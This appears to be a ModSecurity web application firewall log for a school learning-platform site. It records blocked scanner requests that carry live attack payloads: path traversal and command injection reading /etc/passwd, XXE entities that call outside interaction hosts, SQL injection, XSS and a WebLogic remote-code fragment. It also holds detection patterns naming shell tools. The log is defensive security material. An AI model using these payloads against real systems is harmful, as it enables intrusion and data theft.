[Fri Mar 06 22:07:51.014174 2026] [:error] [pid 59239:tid 59271] [client 147.79.102.135:36974] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aarft7G1EpnE909fvGe7lgAAA8I"]
[Fri Mar 06 23:01:05.962749 2026] [:error] [pid 16140:tid 16161] [client 104.28.214.122:44012] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aarsMZZVpEeGhAeSpv0ZogAAARM"]
[Sat Mar 07 00:08:18.449763 2026] [:error] [pid 59237:tid 59258] [client 147.79.102.135:32992] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini"] [unique_id "aar78uqfMSBs0nxOTxHBIgAAA5A"]
[Sat Mar 07 02:24:47.498629 2026] [:error] [pid 23731:tid 23759] [client 147.79.102.135:45608] [client 147.79.102.135] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/user/register"] [unique_id "aasb7w4rfe0eChfwTdSw8AAAAQs"], referer: seqta-learn.carmel.wa.edu.au/user/register
[Sat Mar 07 07:17:05.138455 2026] [:error] [pid 4609:tid 4644] [client 147.79.102.135:34626] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/install.php?step=4"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/install/install.php"] [unique_id "aatgceP7JMxUbw4Fd1ZR6QAAANA"]
[Sat Mar 07 07:17:15.799946 2026] [:error] [pid 52484:tid 52505] [client 147.79.102.135:49008] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<script\\\\b" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <script found within REQUEST_URI: /cs/satellite?pagename=openmarket/gator/flexibleassets/assetmaker/confirmmakeasset&cs_imagedir=qqq\\x22><script>alert(document.domain)</script>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cs/Satellite"] [unique_id "aatge_E9AnX6zUICFeQgOAAAAQI"]
[Sat Mar 07 09:35:41.399974 2026] [:error] [pid 4311:tid 4433] [client 147.79.102.135:35252] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\!(doctype|entity)" at ARGS:serviceContext. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "92"] [id "212860"] [rev "4"] [msg "COMODO WAF: XSS Attack Detected||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <!doctype found within ARGS:serviceContext: <?xml version=\\x221.0\\x22?><!doctype foo [<!entity % request system 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%request;%secondstage;]><r>&disclose;</r>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/webtools/control/httpService"] [unique_id "aauA7XbyS653WMGf2vUZsQAAAE4"]
[Sat Mar 07 17:36:16.396920 2026] [:error] [pid 4609:tid 4632] [client 147.79.102.135:50844] [client 147.79.102.135] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||seqta-learn.carmel.wa.edu.au|F|2"] [data "TX:0=application/yaml"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apis/authorization.k8s.io/v1/selfsubjectaccessreviews"] [unique_id "aavxkOP7JMxUbw4Fd1ZL7gAAAMQ"]
[Sun Mar 08 05:54:36.009062 2026] [:error] [pid 22786:tid 22820] [client 147.79.102.135:45492] [client 147.79.102.135] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||seqta-learn.carmel.wa.edu.au|F|2"] [data "TX:0=application/vnd.citrix.requesttoken+xml"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/Citrix/StoreAuth/ExplicitForms/Start"] [unique_id "aayenHPuJewMN2jPbdUZrQAAAxM"]
[Sun Mar 08 07:36:49.985512 2026] [:error] [pid 22788:tid 22868] [client 147.79.102.135:53898] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /password_change.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/password_change.cgi"] [unique_id "aay2kUhwluk21OG9mSf3RQAAA40"], referer: seqta-learn.carmel.wa.edu.au
[Sun Mar 08 12:11:28.781586 2026] [:error] [pid 22787:tid 22829] [client 147.79.102.135:42772] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:union(?:\\\\/\\\\*.{0,399}\\\\*\\\\/)?select)" at ARGS:appno. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||seqta-learn.carmel.wa.edu.au|F|2"] [data "1unionselect98989*443131,1"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/"] [unique_id "aaz28EF9MGMhk9pT4z6HvwAAA0E"]
[Mon Mar 09 00:33:00.618878 2026] [:error] [pid 49419:tid 49644] [client 147.79.102.135:37318] [client 147.79.102.135] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/getcfg.php"] [unique_id "aa2kvPSUwH6DJwBBi5BmTwAAAAM"]
[Mon Mar 09 00:33:00.619921 2026] [:error] [pid 49419:tid 49644] [client 147.79.102.135:37318] [client 147.79.102.135] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/getcfg.php"] [unique_id "aa2kvPSUwH6DJwBBi5BmTwAAAAM"]
[Mon Mar 09 05:28:03.666255 2026] [core:error] [pid 6074:tid 6095] [client 147.79.102.135:59974] AH10244: invalid URI path (/3ALax4ycERjJW90nY1snwGOsDff/../../ThinVnc.ini)
[Mon Mar 09 07:22:21.490208 2026] [:error] [pid 17485:tid 17492] [client 147.79.102.135:54202] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /apply_sec.cgi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apply_sec.cgi"] [unique_id "aa4ErdQOL_kxQEc1PTDAwQAAAQQ"], referer: seqta-learn.carmel.wa.edu.au/login_pic.asp
[Mon Mar 09 18:16:26.109919 2026] [:error] [pid 44503:tid 44508] [client 147.79.102.135:37272] [client 147.79.102.135] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/xmlpserver/ReportTemplateService.xls"] [unique_id "aa6d-spGKFA8jlKDDh2o3AAAAcE"]
[Mon Mar 09 18:16:26.111284 2026] [:error] [pid 44503:tid 44508] [client 147.79.102.135:37272] [client 147.79.102.135] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/xmlpserver/ReportTemplateService.xls"] [unique_id "aa6d-spGKFA8jlKDDh2o3AAAAcE"]
[Mon Mar 09 19:40:08.376508 2026] [:error] [pid 5787:tid 5938] [client 147.79.102.135:45032] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\!(doctype|entity)" at ARGS:xml. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "92"] [id "212860"] [rev "4"] [msg "COMODO WAF: XSS Attack Detected||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <!doctype found within ARGS:xml: <?xml version=\\x221.0\\x22 ?><!doctype r [<!element r any ><!entity % sp system \\x22http://d6i4k50tgktc5ljv12cgtrf4qhfiy7q3m.oast.live/xxe.xml\\x22>%sp;%param1;]>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/xmlpserver/convert"] [unique_id "aa6xmLGpMgQ18gGUaFOzNgAAAJA"]
[Tue Mar 10 05:27:24.386234 2026] [:error] [pid 7904:tid 8013] [client 104.28.214.113:60071] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "aa87PNqdH-GCmASfJqHfOAAAABU"]
[Tue Mar 10 05:27:24.813756 2026] [:error] [pid 7908:tid 8040] [client 104.28.214.113:60079] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/style.php"] [unique_id "aa87PMY8gEjgYKb1A_jJrgAAAEU"]
[Tue Mar 10 05:27:32.446959 2026] [:error] [pid 8193:tid 8238] [client 104.28.214.113:58277] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/themes/style.php"] [unique_id "aa87RB27LTs3sNpMSvwRlQAAANI"]
[Tue Mar 10 14:12:07.555546 2026] [:error] [pid 42730:tid 42740] [client 147.79.102.135:60580] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/adxmlrpc.php"] [unique_id "aa-2N8hla5zfkJ-81FCR7wAAAcg"]
[Tue Mar 10 23:37:07.062393 2026] [:error] [pid 50463:tid 50481] [client 147.79.102.135:46116] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20pbUyFXRZkB.txt%60"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/card_scan.php"] [unique_id "abA6o3WeJpDsCJ44MSv6TgAAARA"]
[Tue Mar 10 23:57:40.897779 2026] [:error] [pid 3965:tid 3981] [client 157.245.99.42:34962] [client 157.245.99.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "abA_dJN2nrVwtq9b0rYAagAAAM4"]
[Tue Mar 10 23:57:41.783980 2026] [:error] [pid 50463:tid 50471] [client 157.245.99.42:34974] [client 157.245.99.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.4.122.14, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "abA_dXWeJpDsCJ44MSsFewAAAQY"]
[Wed Mar 11 02:25:32.146128 2026] [:error] [pid 6894:tid 7201] [client 147.79.102.135:45044] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:[\\\\x22'`](?:;? ?\\\\b(?:having|select|union)\\\\b ?[^\\\\s]| ?! ?[\\\\x22'`\\\\w])|\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\b ?\\\\(|\\\\bunion\\\\b[\\\\w(\\\\s]*?select\\\\b|\\\\buser ?\\\\(|\\\\bschema ?\\\\(|\\\\bselect.{0,399}?\\\\w?\\\\buser ?\\\\(|\\\\binto[\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: pay where 1=1 union select 1,2,CONCAT(md5(999999999)),4,5,6,7,8,9,10,11,12 found within MATCHED_VAR: pay where 1=1 union select 1,2,CONCAT(md5(999999999)),4,5,6,7,8,9,10,11,12"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/include/plugin/payment/alipay/pay.php"] [unique_id "abBiHJ4b1T0HQdoE97L7UAAAAJI"]
[Wed Mar 11 08:56:32.470085 2026] [:error] [pid 11751:tid 11764] [client 147.79.102.135:32786] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/backupsettings.dat"] [unique_id "abC9wHKeU7OoUEz26eXfEgAAAUs"]
[Thu Mar 12 00:42:03.000043 2026] [:error] [pid 55266:tid 55323] [client 147.79.102.135:59784] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: cmd.exe found within ARGS:handle: com.tangosol.coherence.mvel2.sh.shellsession(weblogic.work.executethread executethread =(weblogic.work.executethread) thread.currentthread() weblogic.work.workadapter adapter = executethread.getcurrentwork() java.lang.reflect.field field = adapter.getclass().getdeclaredfield(connectionhandler) field.setaccessible(true) object obj = field.get(adapter) weblogic.servlet.internal.servletrequestimpl req =(weblogic.servlet.internal.servletrequestimpl) obj.getclas..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/console/css/%2e%2e%2fconsole.portal"] [unique_id "abGbWpsmvC-0sL-4DxHAWwAAAJI"]
[Thu Mar 12 02:08:41.978720 2026] [:error] [pid 55266:tid 55334] [client 147.79.102.135:51022] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/pandora_console/ajax.php"] [unique_id "abGvqZsmvC-0sL-4DxH13wAAAJc"]
[Thu Mar 12 03:37:47.334087 2026] [:error] [pid 63148:tid 63205] [client 147.79.102.135:54722] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/cgiServer.exx?page=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cgi-bin/cgiServer.exx"] [unique_id "abHEi4WsahF1swCrZG7DEQAAAFA"]
[Thu Mar 12 08:53:10.061192 2026] [:error] [pid 51455:tid 51475] [client 147.79.102.135:34480] [client 147.79.102.135] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||seqta-learn.carmel.wa.edu.au|F|2"] [data "TX:0=x-application/hessian"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/mifs/.;/services/LogService"] [unique_id "abIOdpE0YyNxdg6PL_AFkQAAAA8"], referer: https://seqta-learn.carmel.wa.edu.au
[Thu Mar 12 10:13:43.034803 2026] [:error] [pid 51455:tid 51472] [client 157.245.150.188:51528] [client 157.245.150.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.150.188, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "abIhV5E0YyNxdg6PL_AsIgAAAAw"]
[Thu Mar 12 12:55:18.140035 2026] [:error] [pid 51540:tid 51549] [client 45.138.48.190:30895] [client 45.138.48.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/dashboard"] [unique_id "abJHNmOFFjotMIN2UD2b9AAAAMc"]
[Thu Mar 12 12:55:18.700175 2026] [:error] [pid 8249:tid 8255] [client 45.138.48.190:31129] [client 45.138.48.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "abJHNiK5dL3-8Jdf0M1GpQAAAQQ"]
[Thu Mar 12 12:55:19.379578 2026] [:error] [pid 11985:tid 11992] [client 45.138.48.190:31149] [client 45.138.48.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/user"] [unique_id "abJHN3cAcNujsOssVDfvUwAAAYE"]
[Thu Mar 12 22:30:38.854852 2026] [:error] [pid 11986:tid 12033] [client 147.79.102.135:43890] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Epmpw.txt"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/include/exportUser.php"] [unique_id "abLODjKqY2w-DVCrxTA25wAAAc8"]
[Fri Mar 13 04:19:30.911535 2026] [:error] [pid 61929:tid 62012] [client 147.79.102.135:34868] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<\\\\!(doctype|entity)" at ARGS:payload. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "92"] [id "212860"] [rev "4"] [msg "COMODO WAF: XSS Attack Detected||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: <!doctype found within ARGS:payload: <?xml version=\\x221.0\\x22 ?><!doctype a [ <!entity % xxe system \\x22http://d6i4k50tgktc5ljv12cgonf9y9hcrewzb.oast.live\\x22>%xxe;]>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/carbon/generic/save_artifact_ajaxprocessor.jsp"] [unique_id "abMf0jGGsow2jgUjLtwwoAAAAIg"]
[Fri Mar 13 07:09:29.779291 2026] [:error] [pid 62036:tid 62062] [client 147.79.102.135:58560] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "abNHqbce6g9kILuh_R4W0QAAANM"]
[Fri Mar 13 08:07:38.832932 2026] [:error] [pid 62036:tid 62055] [client 195.178.110.159:51520] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "abNVSrce6g9kILuh_R4oFQAAAMw"]
[Fri Mar 13 14:16:30.300404 2026] [:error] [pid 44755:tid 44760] [client 147.79.102.135:57412] [client 147.79.102.135] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||seqta-learn.carmel.wa.edu.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/cgi-bin/execute_cmd.cgi"] [unique_id "abOrvvONf1H0XrBFE4MQwQAAAQM"]
[Fri Mar 13 19:43:43.621983 2026] [:error] [pid 9111:tid 9142] [client 104.28.166.127:26070] [client 104.28.166.127] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/style.php"] [unique_id "abP4b0-M156SLpD2BrtDuwAAAZA"]
[Tue Mar 17 07:11:33.934996 2026] [:error] [pid 45917:tid 45989] [client 45.130.203.180:58537] [client 45.130.203.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "abiOJRMMhmeqL5fT_hefVQAAAIA"]
